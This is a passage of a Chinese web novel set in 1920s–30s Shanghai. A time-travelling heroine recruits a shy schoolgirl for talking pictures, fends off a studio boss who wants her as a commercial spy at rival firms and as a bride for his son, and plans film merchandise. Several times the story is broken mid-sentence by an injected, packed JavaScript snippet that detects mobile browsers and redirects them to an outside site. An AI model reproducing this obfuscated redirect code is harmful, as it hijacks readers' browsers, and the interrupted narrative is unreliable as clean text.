周弥目光扫过她洗得发白的校服袖口,语气平淡地提起:“你的零花钱,怕是自己也不太够用吧?那天在照相馆,我听你们聊天,你好像经常要请你那位叫珍珍的同学?” 孙祺瑶脸上的笑容僵了一下,没有反驳。 她家境普通,父母是小学□□,供她上这所不错的女子中学已属不易。零花钱有限,而珍珍不同,家里开着绸缎庄,吃穿用度都讲究,出入爱去些新式的咖啡馆、冰淇淋店。 孙祺瑶心里不是没有羡慕,也有几分不想在光鲜的朋友面前露怯的小小虚荣。陪珍珍逛街、吃点心,常常是她咬牙掏钱,回去再暗暗省下几顿早饭钱。 这份友情的维系,对她而言,甜蜜里总掺着一丝难以言说的负担。 周弥将她的沉默看在眼里,心下更添几分把握。她不再绕弯子: “所以,真不用非请我吃些什么。不过,眼下倒真有一个去处,既能让你自己挣些钱,手头宽裕些,不必总为这些小事费神……又能做些比逛街吃点心更有意思、或许也更适合你的事。只是不知,你愿不愿意试试?” 她话说到这里,便适时停住,目光平静地看着孙祺瑶,等待她的反应。 孙祺瑶果然被勾起了全部的好奇心。她停下抿糖的动作,身子不自觉地前倾,眼睛睁得圆圆的:“姐姐,到底是什么门道?你快别卖关子了,说说看呀!” 周弥迎着她急切的目光,微微一笑: “你想不想拍电影呢?” 孙祺瑶一愣,随即“噗嗤”笑出声,梨膏糖的碎屑差点呛着。 她慌忙用手背掩住嘴,脸涨红了,眼神却像听见极荒谬的事,“周姐姐莫拿我开心了。我这样的,拍电影?镜头怕是都找不着我。珍珍才适合。她往那儿一站,谁都看她。我要是跟她说有拍电影的机会,她准高兴。” 说着竟真的起身,拍拍蓝布旗袍上的灰,“我现在就去告诉她……” 周弥轻轻按住她的手,摇了摇头:“话不能这么说。珍珍是很漂亮,但漂亮,未必就更适合拍电影。” 孙祺瑶满脸不解:“那我可就不懂了。漂亮都不适合,难道普通反而适合么?我虽然看过的电影不多,但也是看过几部的,里头的女演员哪一个不漂亮?就算有那么一两个被说‘不那么漂亮’的,放在我们普通人堆里,照样是出挑的。我嘛……” 她低头扯了扯自己的校服衣角,声音低下去,“很普通的,在普通人里都是普通的。” 周弥看她性格实在是很好,不是那种眼高于顶或矫揉造作的,索性也掏出真心话: "我若说你美若天仙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17003028|193976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,那也不算真诚。但你也像那些电影明星一样,烫了头发化了妆,那必然非常摩登,绝非泯然众人。" "而且,你跟那些电影明星比,有一个她们许多人拍马都赶不上的优势,你的官话说得特别标准,声音清亮悦耳,非常好听。” 孙祺瑶闻言,先是一愣,随即脸颊微微泛红,嘴角不受控制地往上翘了翘。 官话讲的好这点,她自己倒是知道,她在国语课上也是常被老师夸的。只是她实在有些搞不明白,这和拍电影有什么关系呢? 周弥看出她的困惑,解释道:“因为电影马上就要迎来一场天翻地覆的大变化了。以后电影,都会有声音,会开口说话。” 孙祺瑶有些吃惊:“像留声机那样?” “差不多,但声音是和画面一起的。所以你想,那些现在红透半边天的明星,到时候就得在镜头前真开口了。可她们当中不少人……” 孙祺瑶立刻抓住了关键,急切地追问,声音都拔高了些:“难道她们声音都不好听吗?!” “那倒也不是全部,”周弥被她这反应逗笑了,安抚道,“你别激动。” 孙祺瑶这才意识到自己有些失态,脸一红,不好意思地小声道:“不好意思,我就是太惊讶了。我从没见过真的电影明星,只在银幕上和画报上看过,她们都那么美,像仙女似的……我从没想过,仙女的声音会不好听。” 周弥点头:“你看,连你不怎么看电影的都会这样想,那么,经常看电影的人自然更会有所期待。等电影都有了声音,很多观众会发现,他们迷恋的那张脸,配上真实的声音后,可能完全不是想象的样子。到时候,市场就会出现很大的空白。” “什么叫市场出现很大的空白?”孙祺瑶不解。 周弥笑了笑,目光望着她:“就是机会。大量的新机会。” 孙祺瑶这样望过去,五官确实算不得顶漂亮,但她实在是生的白净,尤其在梧桐树斑驳的光影下,肤色瓷白,还透着干干净净的光泽。 这种特质在当下的黑白电影里或许不算突出,但周弥知道,在未来的彩色胶片上,这样一张白净的脸,会吃光,会发光,会成为极具辨识度的优势。 彩色电影还要等上许多年,这自然是后话。但孙祺瑶坚持走下去,无形中便是乘上了电影技术迭代的东风,到那时,也不过三十多岁的年纪,正是好风凭借力。 所谓时也、运也、命也。但机遇真到了眼前,自己若抓不住,也是徒然。 自己不也正是如此吗?穿越至此,手握先知,若不能在这默片与有声更迭的浪尖上,搏出一片自己的天地,岂不是辜负了这天赐的时运? 想到这里,她胸中那股一定要做成事业的豪情,愈发激荡起来。 这时,孙祺瑶也已按捺不住兴奋,急切地追问:“姐姐,那我什么时候能去给那些大明星配音呀?” 周弥闻言,心下先是一怔,随即一股复杂的情绪涌上来。 她没想到,孙祺瑶是这样理解“机会”的。她竟是下意识将自己放在了“配音”这个辅助与衬托的位置上。 虽然在默片与有声电影激烈换代的当口,专职的配音演员很快就会成为一个新兴且需求量巨大的职业,但对于眼前这个拥有独特清亮声线和干净气质的女孩来说,仅仅做个藏在幕后的“声替”,绝非她该有的未来。 这份近乎本能的、将自己视为“不配站在台前”的认知,让周弥感到一丝细微的刺痛。或许,这正是孙祺瑶长期作为“珍珍”身边不起眼的陪衬,潜移默化中生出的自我定位。 既然伯乐在此,岂能容她明珠暗投,大材小用? 15. 商业间谍 周弥收敛了唇边原本觉得好笑的笑意,目光郑重: “不。不是配音。是演电影。是演员,不是配音演员。我要你站在镜头前,站在光下,让所有人都看到你的表演,听到你的声音。" “啊?!”孙祺瑶彻底愣住了,仿佛听到了什么天方夜谭,脚下甚至不自觉地后退了半步。这反应不是惊喜,更像是被这过于巨大的、未曾设想过的可能性给吓着了。 周弥看着她这副模样,心下更确定了几分,这女孩的世界里,恐怕从未将“自己”与“主角”联系在一起。 “你愿不愿意呢?”她放缓了语气,耐心地问。 孙祺瑶的嘴唇动了动,脸涨得通红,手指紧紧攥住了衣角。巨大的冲击过后,一种混杂着惶恐、兴奋与不确定的复杂情绪在她眼中翻腾。 过了好几秒,她才小声道: "我……我很愿意。但是……” 她下意识地回头,望向教学楼的方向,说出一句让周弥忍不住抚额的话: “我得先问问珍珍。” 周弥忍不住问:“你自己的事,为什么需要她同意呢?” "这个嘛,"孙祺瑶脸微微一红,看得出有些不好意思,“因为……我们约好了的,不能抛下对方,干什么都要在一起。我怎么能自己做主呢?” 周弥简直哭笑不得,“可你们不是已经‘绝交’了吗?那天我亲耳听到她这么说的。” “她只是嘴巴坏,心不坏的。”孙祺瑶连忙解释,语气里竟带着一丝习以为常的纵容,“我们经常这样吵架,她每次都说绝交,但最后我都能把她哄好的。” 看她竟还有些得意,周弥心下不禁一叹,这孩子真够实心眼的。 那个珍珍,分明是享受被人捧着、衬着的感觉,才一直将她这样单纯又好拿捏的姑娘留在身边充当绿叶,汲取那份“被需要”的优越感。而这傻姑娘,竟还把对方这点阴暗的心理,当成了真挚的友谊在“感恩”。 这话却无法点破。太直白,伤人自尊,也击碎一个少女对友情的全部幻想。 况且,周弥并非不能体会孙祺瑶的处境。她自己念中学时,也曾一度陷入对“合群”的焦虑——不过是为了体育课自由活动时,不必孤零零站在场边,显得那么格格不入。 人总要在某个阶段明白:真正的力量,始于不再渴求他人的认同。当你不再执着于融入某个圈子,不再害怕独处,那层因讨好而生的怯懦外壳便会自然脱落,露出里面坚韧的核。 但这需要时间,需要经历,甚至需要一点痛楚去浇灌。拔苗助长未必是一个好的选择。 周弥想了想,索性顺着她的思路:“那你就这样跟她说——我邀请你们两个都来拍电影。我最近正要筹拍一部片子,里面有适合你们的角色。你看她来不来。” 孙祺瑶眼睛一亮,立刻高兴起来:“好!我这就去跟她说!” 恰在此时,上课预备铃尖锐地响起。孙祺瑶“呀”了一声,转身就要跑,跑出几步又急刹车折返回来,气喘吁吁地问:“姐姐,拍电影会不会耽误功课呢?” “放心,”周弥笑着安抚,“利用假期拍,不耽误你上学。功课很重要。你可以先试拍一部短片,看看自己是否喜欢、能否适应。” 孙祺瑶点点头,又问:“那我怎么联系你呢?” 周弥从手袋里取出一张名片递过去,上面印着她的名字和地址:“随时可以来找我,打电话过来也可以。” 孙祺瑶双手接过,小心地捧在胸前,这才绽开一个灿烂无比的笑容,转身飞快地跑向了教学楼。 看着那雀跃远去的背影,周弥心下不禁有些感慨。 白秋宁是那种生来便觉得聚光灯理当照着自己的女孩,而眼前这个,却是连梦想都需要别人亲手递到面前,还惴惴不安不敢全然接住的。 她转身走出校门,没走几步,一辆眼熟的黑色轿车便悄无声息地滑到她身侧停稳。 后车窗缓缓降下。 邵文谦坐在里面,膝上摊着一份墨迹犹新的《申报》。他视线仍落在版面上,并未抬头,只将手中报纸朝外轻轻一展,指尖点在社会版右下角一处不显眼的方寸之地。 那里印着一则简短的启事:归国侨女周弥小姐,已于日前抵沪。 “家父的意思,报馆今早登了。”他这才合上报纸,目光平静地转向她,镜片后的眼神看不出情绪,“他此刻想见你。” 语气平淡,却是不容商量的告知。 周弥看着那则“量身定做”的启事,又看向眼前这张与邵同肖似却更显冷感的脸,扯了扯嘴角: “你们众一的人,是不是都有跟踪人的癖好?” 邵文谦像是没听出她话里的讥诮,只淡淡道:“周小姐请上车。” … 众一电影公司,邵同办公室。 房间里弥漫着上等雪茄与紫檀木家具混合的沉郁气息,厚重的窗帘滤去了大半日光,让整个空间显得格外幽深。 邵同坐在宽大的红木办公桌后,见她进门,这次脸上并未挂起那副惯常的、皮笑肉不笑的和气面具。他指间夹着一支燃烧的雪茄,青灰色的烟雾袅袅上升,模糊了他的神情。 “周小姐,”他吐出一口烟,声音透过烟雾传来,带着一种慢条斯理的审视,“最近挺忙的呀。” 他没给她接话的空隙,继续道:“华光的陆世铮,瑞星的白家千金……和你关系都处得不错?” 周弥心头一凛,知道昨夜的舞会,乃至更早的动向,恐怕都没逃过他的耳目。她定了定神,用早已准备好的说辞,解释了与陆世铮是因电影见解偶有交流,与白秋宁则纯属对方热情、难以推拒的社交往来,言语间将自己摆在被动、无奈的位置上。 邵同静静听着,未置一词,只是那雪茄在他指间缓缓转动。直到她话音落下,才忽然低低地笑了一声。 那笑声不大,却像一颗小石子投入深不见底的寒潭,只激起几圈细微到几乎看不见的涟漪,听不出喜怒,只有一片深沉的、令人不安的回响。 “周小姐交游广阔,八 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17010641|193976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面玲珑,是好事。”他弹了弹烟灰,目光透过烟雾落在她脸上,似笑非笑,“看来是我这众一庙小,池子浅,看来留不住周小姐这尊真佛了。” 这话说得轻飘飘,内里的敲打与试探却重若千钧。他不是在抱怨,而是在逼她表态。 在众一、华光、瑞星之间,她究竟站在哪边。 周弥自然听的懂这弦外之音,她忍着恶心,把自己想象成一个佞臣的cosplay,丝滑地说出了以下这些话: “邵先生言重了。我初到上海,人地生疏,蒙您不弃,给了一份立足的机会。饮水思源,这个道理我懂。旁人的赏识也好,热情也罢,不过是浮云过眼。我既答应了为邵先生做事,就不会三心二意。至于其他,都是为达成邵先生目标所能借用的‘势’罢了。最终的目的地在哪里,我心里很清楚。” 这番话,既表了忠心,又将与其他人的接触解释为“为他做事”的手段,给了邵同一个台阶,也划清了自己的界限——她仍是“为他所用”的棋子。 至于她心里到底是怎么想的,那就没有告知他的义务了。 邵同盯着她看了几秒,眼中的锐利慢慢化开,又恢复了那副深不可测的温和模样。他点了点头,仿佛刚才的敲打从未发生。 “周小姐是明白人。”他掐灭了雪茄,“那我们就谈谈,接下来要你做的那件小事。” 周弥凝神。 “请你以顾问的身份,去华光。” "…" 周弥心里明白,说是顾问,其实就是商业间谍,只是他在华光已经安插了人,又何需多此一举?难道间谍也是多多益善? 邵同好像看透了她的心思,眼神里透出老谋深算的光:“有些人,只能当做耳目来用,听得见声音,却摸不着风向。但周小姐不同。你的见识,陆世铮听得进去;你的建议,他能认真考量。我要的不是传话的鸽子,而是能在他棋盘上落子的人。” 他笑得有点阴险:“我要你不着痕迹地干扰他们的判断。在他们最需要决断的时候,给出一个看似完美、实则会让他们多绕几步远路的方案。你放心,钱,不会缺你的。” 太坏了,太坏了,老东西一肚子阴险狡诈。 周弥昨天还提醒陆世铮彻查商业间谍,自己给自己打脸也就不说了,自己还给自己使绊子这算怎么回事。 “邵先生思虑周全。”她明褒暗贬。 邵同仿佛看穿了她那点不甘,慢悠悠地又补上一刀:“对了,白秋宁,对你倒是热络得很。由她引荐,你想见她父亲白老板,应当不难。” 他端起茶盏,吹了吹浮沫,语气像个循循善诱的长辈:“不过,秋宁毕竟年轻,又是女儿身,在她父亲那里说不上什么话。引荐容易,成事难。但我想,以周小姐的见识和手段,只要有机会站到白老板面前,自然有办法让他对你刮目相看。” 放下茶盏,抬眼看她,他镜片后的目光平静无波: “我对瑞星的要求,与对华光一样。周小姐是聪明人,想必明白我的意思。” 16. 解锁权限 行行行,好好好,虱子多了不咬人,任务多了反而有插科打诨的余地。 谁知邵同偏还真又来了句:“还有一事…” 周弥差点晕倒。 说好的一件事,这哪是一事?这明明是一事复一事! 邵同才不管她面上的颜色变换,自顾自道:“你上次那番关于精品默片的见解,我思忖良久。既然有声是大势,众一另辟蹊径也未尝不可。只是…” 他顿了顿,目光投向窗外: “我担心的不是导演,我手下有几个功底扎实的老伙计,拍默片是看家本事。我担心的是演员。人往高处走,水往低处流。眼看着有声片成了新贵,那些有野心的、求名利的,怕是要削尖了脑袋往那边挤。众一若真专注默片,留不住人,便是空谈。不知道周小姐有没有什么解决办法呢?” 周弥有些觉得好笑,想起邵同刚才嘱咐她的那句话: "…不着痕迹地干扰他们的判断。在他们最需要决断的时候,给出一个看似完美、实则会让他们多绕几步远路的方案。" 妙哉妙哉,这阳谋不如就先拿这老狐狸试试。 这么想着,心里开始暗爽,好不容易才憋住笑:“邵先生的顾虑在理。不过,此事或可换个角度看,众一既然要走一条与众不同的路,不如连同这些明星,也造得与众不同些。” 邵同又续上一支雪茄,灰白的烟雾在空气中缓慢盘旋。 他身材有些胖,今天穿着一件金黄色的马褂,鼻端一股股飘出烟圈,很像一尊圆滚滚的鎏金香炉。 “愿闻其详。” 周弥笑道:“有声片这阵风刮起来,总要吹落一批树上的果子。那些一时开不了口的明星,总得有个去处。眼下好些明星还签在别家,平时您去请,人家未必肯挪窝。可等风真到了跟前,您再去伸手,那不就是雪中送炭么?有人走,就有人来。旧人未必不能唱新戏,新人未必不能挑大梁。” 邵同沉默着,指间的雪茄燃出一截细长的灰。半晌,他又问: “那导演呢?” 周弥略显诧异地挑眉:“邵先生方才不是说,手下有些靠得住的导演,拍默片是看家本事?” “我是信他们的艺术追求。”邵同掸了掸烟灰,笑容里透出几分现实的冷意,“可钱堆得够高时,艺术也是要弯腰的。除非——” 他又一次吞云吐雾,烟雾后的眼神阴沉又锐利: “除非能有座奖杯镇着,给这艺术追求镀层金身。名利,名利,名还在利前头。如果没有名,真金白银的诱惑当前,谁会逆水行舟呢?” 他轻叹一声,那叹息里带着不甘,“可惜啊,如今国际上那几个叫得上名号的大奖,中国电影连门槛都还没摸到。” 话说到这份上,意思已再明白不过。 他想要一部能砸开国际局面、捧回奖杯的“招牌”,一部能让所有人心甘情愿跟着他走这条窄路的,沉甸甸的压舱石。 周弥听懂了,却不想接。她与邵同之间始终隔着层提防,不愿轻易为他做嫁衣。 “奖项的事,谁也不敢担保。”她语气平和,将话锋轻轻拨开,“天时、地利、人和,缺一不可。” 这话虽是拒绝,但讲的倒是客观道理。 邵同也不再深追,只笑了笑,转而问道: “那便说些实在的——你为我筹划这番事业,可默片终究是条窄路。若真按艺术的路子走,恐怕难以自负盈亏。这经济上的账,又该怎么算?” 周弥看他始终端坐在宽大的老板桌后,自己站了这半晌,他连句“请坐”的场面话都懒得递,便也不再客气,自顾自拖了张椅子过来。 她故意把木头椅脚贴着地板拖行,发出一阵声响,随意说了句,"卖周边呗。" 邵同早瞥见她的动作,却只当没看见,依旧垂着眼慢条斯理地吞吐烟雾。等她坐定了,才不紧不慢地跟了句:“周边?” 那语调平直,听不出是疑问还是重复。 “哦!‘周边’是我家乡的讲法。指的就是和电影沾边的各式产品——譬如把明星剧照印成月历牌、明信片;把戏里的经典物件照样复刻了当摆设;或是找绸缎庄合作,推出电影里亮相的旗袍料子、西装款式。观众若真心喜欢这部戏、这个明星,自然愿意为这份喜欢掏钱。” 邵同这才抬了抬眼皮,烟灰随意点落在玻璃烟缸里。 “原来这就叫周边啊,这些玩意儿,市面上一直有。”他语气平淡,听不出情绪,"不过是一些花活儿罢了。" 周弥看他瞧不起的样子,也不理他,只是自顾自说下去:“就说咱们眼下要上的这部《楚月关山》,沈青眉演的女将军,一身银甲持枪立马的模样,就非常有造型感。” “第一样,做盲盒纸偶。把楚月将军的战甲扮相、还有戏里的几位配角做成巴掌大的纸偶,外头包上牛皮纸,不标名字,只印个《楚月关山》的徽记。卖得不贵,两角钱一个,可里头藏着一个沈青眉亲笔签名的隐藏款。宣传打出去,就会有影迷一趟趟来买,就为凑齐一套,抽中那个隐藏款。” “第二样,联名纸样。咱们找沪上最好的绸缎庄‘锦绣阁’合作,把楚月将军那身劲装的剪裁图样画出来,再配上几款素色的戎装面料。不是真让大家穿战甲上街,是取那利落的版型,改成短衫、马褂。男人买去做件利落的褂子,女人裁成窄袖短袄,穿出去都能说一句‘我这是楚月将军同款’。绸缎庄赚了布料钱,咱们赚了名声,双赢。” “还有第三样,会员集点卡…" 说到这儿,她话音一顿,故意掐住了话头。 邵同果然身子微微前倾:“然后呢?” 周弥却抬手轻轻按了按嗓子,眉尖微蹙:“说了这半晌,口干舌燥的,人有些乏了。还是下次再聊吧。”说着便作势要起身。 “慢着。”邵同抬手虚按,转向门外扬声道,“送茶进来,再切盘果子。” 不多时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17014961|193976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秘书便端着茶盘轻步而入。邵同亲自将青瓷杯推至她面前,语气虽缓,却透出不容拖延的意味:“润润喉。接着说。” 周弥捧着茶杯暗笑。真是的,就算古代皇帝问策,还知道赐座礼贤下士呢,你不过是个电影公司的土皇帝,我怎能惯着你。 邵同看她小口小口饮水,已经很着急了,也只能按住性子耐心等待。 喝了好一会儿,周弥才不紧不慢地续道: "推出《楚月关山》影迷会,入会费一块大洋,送一张集点卡,一张沈青眉的剧照明信片。观众买纸偶、买纸样、甚至去戏院看三遍电影,都能盖一个章。集满五个章,换楚月将军的金属徽章;集满十个章,换沈青眉的亲笔签名照;集满十五个章——邵先生,咱们就请沈青眉到电影院来,和这些铁杆影迷说几句话。” 她顿了顿,看向邵同眼中的亮光,心里不禁很是得意:怎么样?我多的是主意和力气,就现在这些,足够给你一些小小的震撼了。 邵同此刻身体已不自觉前倾:“这事,周小姐可能助我落实?” “可以是可以。不过,这些衍生经营,需将相关形象的商用权独家授予我来操盘。盈利按约定比例分成。” 邵同闻言,非但不恼,眼底反而掠过一丝激赏:“周小姐这商业头脑,倒是比许多男人还利落。” 他略一沉吟:“既如此,若你在经营过程中需调用众一其他部门的资源。无论是道具、服装,还是别的,我都让下面的人配合你。不必一一和我汇报。” 周弥心中大喜,这是解锁众一的权限啦! 众一公司以古装片见长,其服化道库藏之丰、考据之精,正是别家难以企及的优势。若能调动这些资源,她的计划便能如虎添翼。 正暗自盘算,邵同却话锋一转:“周小姐如今下榻何处?” 周弥想起白秋宁曾私下告知,那处公馆是她偷置的产业,外人并不知晓。便从容答道:“在福煦路租了一处小公馆暂住。” “福煦路的公馆?”邵同眉梢微抬,有些惊讶,“那地段的公馆,月租恐怕不下百元。看来周小姐手头宽裕,倒是我多虑了。” 周弥和白秋宁虽然说好打个折扣,但掰扯半天,两人约好的是五折,她不知此处地段公馆的具体行情,就也没多想,这下听邵同这么一说,才知道白秋宁给她的价格连一折都不到。 不知道也就罢了,既然知道了,她不愿占朋友这个便宜。前两天她没钱,想充胖子也充不起,现在她入了职,也不算很缺钱,还是想着要付给白秋宁。 她笑着对邵同说:"钱,总是缺的,谁还嫌钱多呢?邵先生这个意思,不是要克扣我的薪水吧?" 邵同哈哈一笑:“众一肯定不会短了你,放心就是。说起来,周小姐即将领着三家电影公司的酬劳,倒真成了位沪上数的着的‘阔小姐’。" "不过…"他话锋一转:‘阔小姐’奔波劳碌,哪有‘阔太太’舒坦自在?” 17. 乱点鸳鸯 周弥一时未解其意,只当是寻常打趣:“邵先生说笑了。阔太太自然有阔太太的快乐,但阔小姐的快乐,并不比阔太太低,相反,快乐更要加倍呢。" 邵同缓缓吐出一口烟圈,摇头道:“周小姐怕是误会了。我方才说的‘阔小姐’,并非白秋宁那样的富家千金。” 他顿了顿,似在斟酌用词,“而是新女性。靠自己本事立身的新女性。" 周弥迎上他的目光:“邵先生,我刚才说的也是这种‘新女性’。” “哦?”邵同有点惊讶,“原来周小姐是位女权主义者。只有女权主义者,才会觉得靠自己很快乐,大部分女士,都觉得靠自己实在是件非常辛苦的事。” 他身体微微后靠,“我个人虽觉得,女子终归不宜过分抛头露面,但那些真能闯出一番天地的‘新女性’,邵某也是敬佩的。这么看,我也不算太老古板吧?” 周弥笑道:"在老古板里,算不上古板的,在不古板的人里,又算的很古板的。" 邵同作为一个快要进入暮年的男性,对于年轻有生命力的女性,总是特别赞赏的。 这并非因为他是男性的缘故。 实际上,他也非常欣赏年轻男性的生命力,只是年轻男性的生命力总是太过锐利,会让他觉得不安。但女性不一样,女性的生命力是活泼的,是宜人的。 因此他觉得周弥这点调皮,实在有些可爱,不仅未觉得冒犯,反而笑道:"那看来周小姐不认同我的话了。" 周弥不置可否,"您说大部分女士,都觉得靠自己辛苦,其实这里头有个非常深的道理。因为社会给女士们的禁锢太多了,门槛太高了,男士是乘风而行,女士是逆风而行。新女性当然十分值得敬佩,但那些不新的女士,也未必都是比男士懒惰。" 邵同看她一副要和他打辩论的姿态,呵呵一笑,镜片后的眼睛微微眯起:“周小姐这番见识,实在很新。若不是我亲眼见着你伪造文书,真要以为你在西洋受了顶好的教育。” 周弥耳根一热。 这老狐狸!说不过就掀人底牌! “不过,你说的状况,或许也有道理,但终归是一件社会问题。社会要形成一种风气,要许多年,解开一种风气,也要许多年。我想,一代人还是要做一代人应该做的事。” 邵同四两拨千斤地把这个辩题扔给社会后,将雪茄轻轻搁在烟灰缸边沿。他双手交叠置于光洁的桌面上,微笑着继续道: “但对周小姐你来说,‘新女性’和‘阔太太’,未必就是水火不容的两条路。这是非常幸运的。” 他的目光忽然变得像一个寻常人家的长辈,周弥不知道要如何形容那种感觉。 很…八婆? 他也果然没有辜负周弥的恶意想象,在曲里拐弯之后图穷匕见: “我是说——你觉得文谦这孩子,怎么样?" 好家伙,铺垫了这许多,原来是在这儿等着她呢。 周弥忽然就懂了邵文谦那晚为何急着同她划清界限,还真是知父莫若子。 用上儿子使美人计,看来老狐狸是铁了心要把她锁死在众一这条船上。 她面上不显,只打了个哈哈:“我和邵公子实在谈不上相熟,不太了解,所以也谈不上‘感觉’。” “那就是还算合意。”邵同微笑着替她做了总结。 哈? 周弥将自己刚才那句话快速咀嚼了一遍,怎么听都没有表示“合意”的意思吧? “周小姐虽然是新女性,但终归是女性,谈及婚恋之事,难免羞怯,也是常情。” 邵同却已从容续上,仿佛一切尽在掌握,“文谦可是亲口同我说,他很喜欢你。” 周弥脱口而出,“这不可能吧?” “哦?”邵同眉梢微挑,“周小姐何以如此肯定?莫非是对自己不够自信?” 哈?一会儿说女性谈婚恋必会羞怯,一会儿说婉拒便是自卑……这话术的味儿可太冲了。 周弥不紧不慢地将椅子挪回原位:“那倒没有,我对自己很有信心。但信心不等于人人都该喜欢我——那就叫自恋了。邵公子曾明确告知,他在英伦已有未婚妻。我想,他正因心中看重,才会提前与我划清界限,以免旁人误会。” 邵同眼底的笑意倏然冷却,一丝被冒犯的愠怒掠过镜片后的双眼。 “不必听他胡说。”他声音沉了下去,“他并没有什么未婚妻。” 周弥笑道:“那我就不得而知了。只是,您或许也该听听年轻人的意愿。我想,在这件事上,我们两个都是不愿意的。” 说罢,她转身要走。 按道理说,她该先道个别,才合乎礼节,只不过若是这样,就提醒了此刻正在外面偷听的人,给他时间遮掩。 自己被乱点鸳鸯又被听墙角,纯粹受害者,没必要还想着去给谁留面子。 再说,丢了面子更好,就要让这对父子知道她不好惹,一个少指手画脚,一个少鬼鬼祟祟! 门一拉开,邵文谦果然正在门口站着,避闪不及,脸上青红皂白一阵阵乱转,模样可以说是非常“好看”。 周弥也不多说什么,只是冲他点点头,含笑着走了。 回了公馆后不久,电话铃便响了起来,周弥接起一听,是孙祺瑶打来的。电话应该是在珍珍家里打的,在这个年代,电话是很昂贵的东西,一般人家并不能装的起。 孙祺瑶说已同珍珍讲了拍电影的事,珍珍也十分乐意,问何时开拍,又该从哪里拍起。 周弥心里其实已有了主意——就在这公馆里拍。 眼下她与白秋宁皆是见不得光的处境,各有各需瞒住的人,这地方正是再好不过。 但她觉得总该同白秋宁知会一声,毕竟房子是人家的,往后共事的日子还长,少不得要一同琢磨,便同孙祺瑶说稍后回电,挂了电话,刚要去拨白秋宁的号码,门铃却先响了。 下楼开门,门外正是白秋宁,身后还跟着两三个带着工具箱的伙计。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17017794|193976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “我看你这儿光线实在暗,”白秋宁笑盈盈地迈进屋,指了指天花板,“先前没人长住,只在卧室留了盏我觉得漂亮的台灯。如今你住进来,还是装上电灯方便。” 周弥作为一个现代人,肯定是习惯用电灯的,自然也觉得装电灯好,只是这个年代电灯也不便宜,这满屋子装上,估计又是不小的花费,心里过意不去,便说要自己安置。 白秋宁笑道:"我是房东,难道有让房客来操持修葺的道理么?" 周弥想就这点而言,倒确实辩不过她,也不再在这事上争执,只是既然白秋宁提到房东房客,她正好要问问房租的事, “你是不是少收了我许多?” 白秋宁立刻摇头:“哪有的事。” 周弥道:“你别瞒我,我已经知道了行情。你给我这价钱,怕是连市价的一成都不到。” 白秋宁却嘻嘻一笑:“若我把房子租给别人是这个价,租给你却少收,那才算我吃亏。可我若不租给你,也不会租给别人,那么房子就是白白空着,一分进项也没有。租给你,我总归还有些进账,哪里有吃亏呢?” 她一边说着,一边招呼伙计,那些伙计七手八脚,扛着电灯与电线,一趟趟从外头的车上卸下家伙什儿,鱼贯而入。转身却又叫人抬了好几只沉甸甸的木箱进来。 “我想着,咱们既然要拍电影,总得有剧本。”她推开箱盖,里头整整齐齐码着的全是书册,新旧不一,“这些是市面上时兴的小说,或许能给你添些灵感,好写出剧本来。” 她随手拿起一本翻了翻,又抬眼看向周弥:“或者,改编怎么样呢?现成的故事,现成的读者,岂不是更稳妥?” 周弥看到这一箱子书,凑过去一看,都是当年最流行的小说,又惊又喜,连声道: "我正需要这些呢,说起来,刚才我正要打电话和你商量电影的事。没想到你就来的这么巧,省了电话费了。" 一边说着,一边拉白秋宁到客厅坐下,将孙祺瑶那两位女学生有意加入的事细细说了。 白秋宁听了很是雀跃,说团队人多些才热闹,才好施展,又问下次要不要将摄影机之类的器材先搬些过来。 “对了,你会使摄影机么?” 她眼睛亮亮地望着周弥,“你若会用,我们倒省了另找摄影师的麻烦。瑞星自家的,我是不敢用的;圈里别的摄影师,又没几个不认识我的。这处境……和那两个女学生共事可大不相同。” 摄影课周弥自然是上过的,可技术更新,通常三五年就会有一次,更何况百年时间。 她在教科书图页上也见过民国时期的摄影机,和现代的数码摄像比,实在是大有不同。 她如实道:“原理是通的。但这种老式机器,恐怕还得上手琢磨一阵。你下次先带过来,我试试看,应该不成问题。” 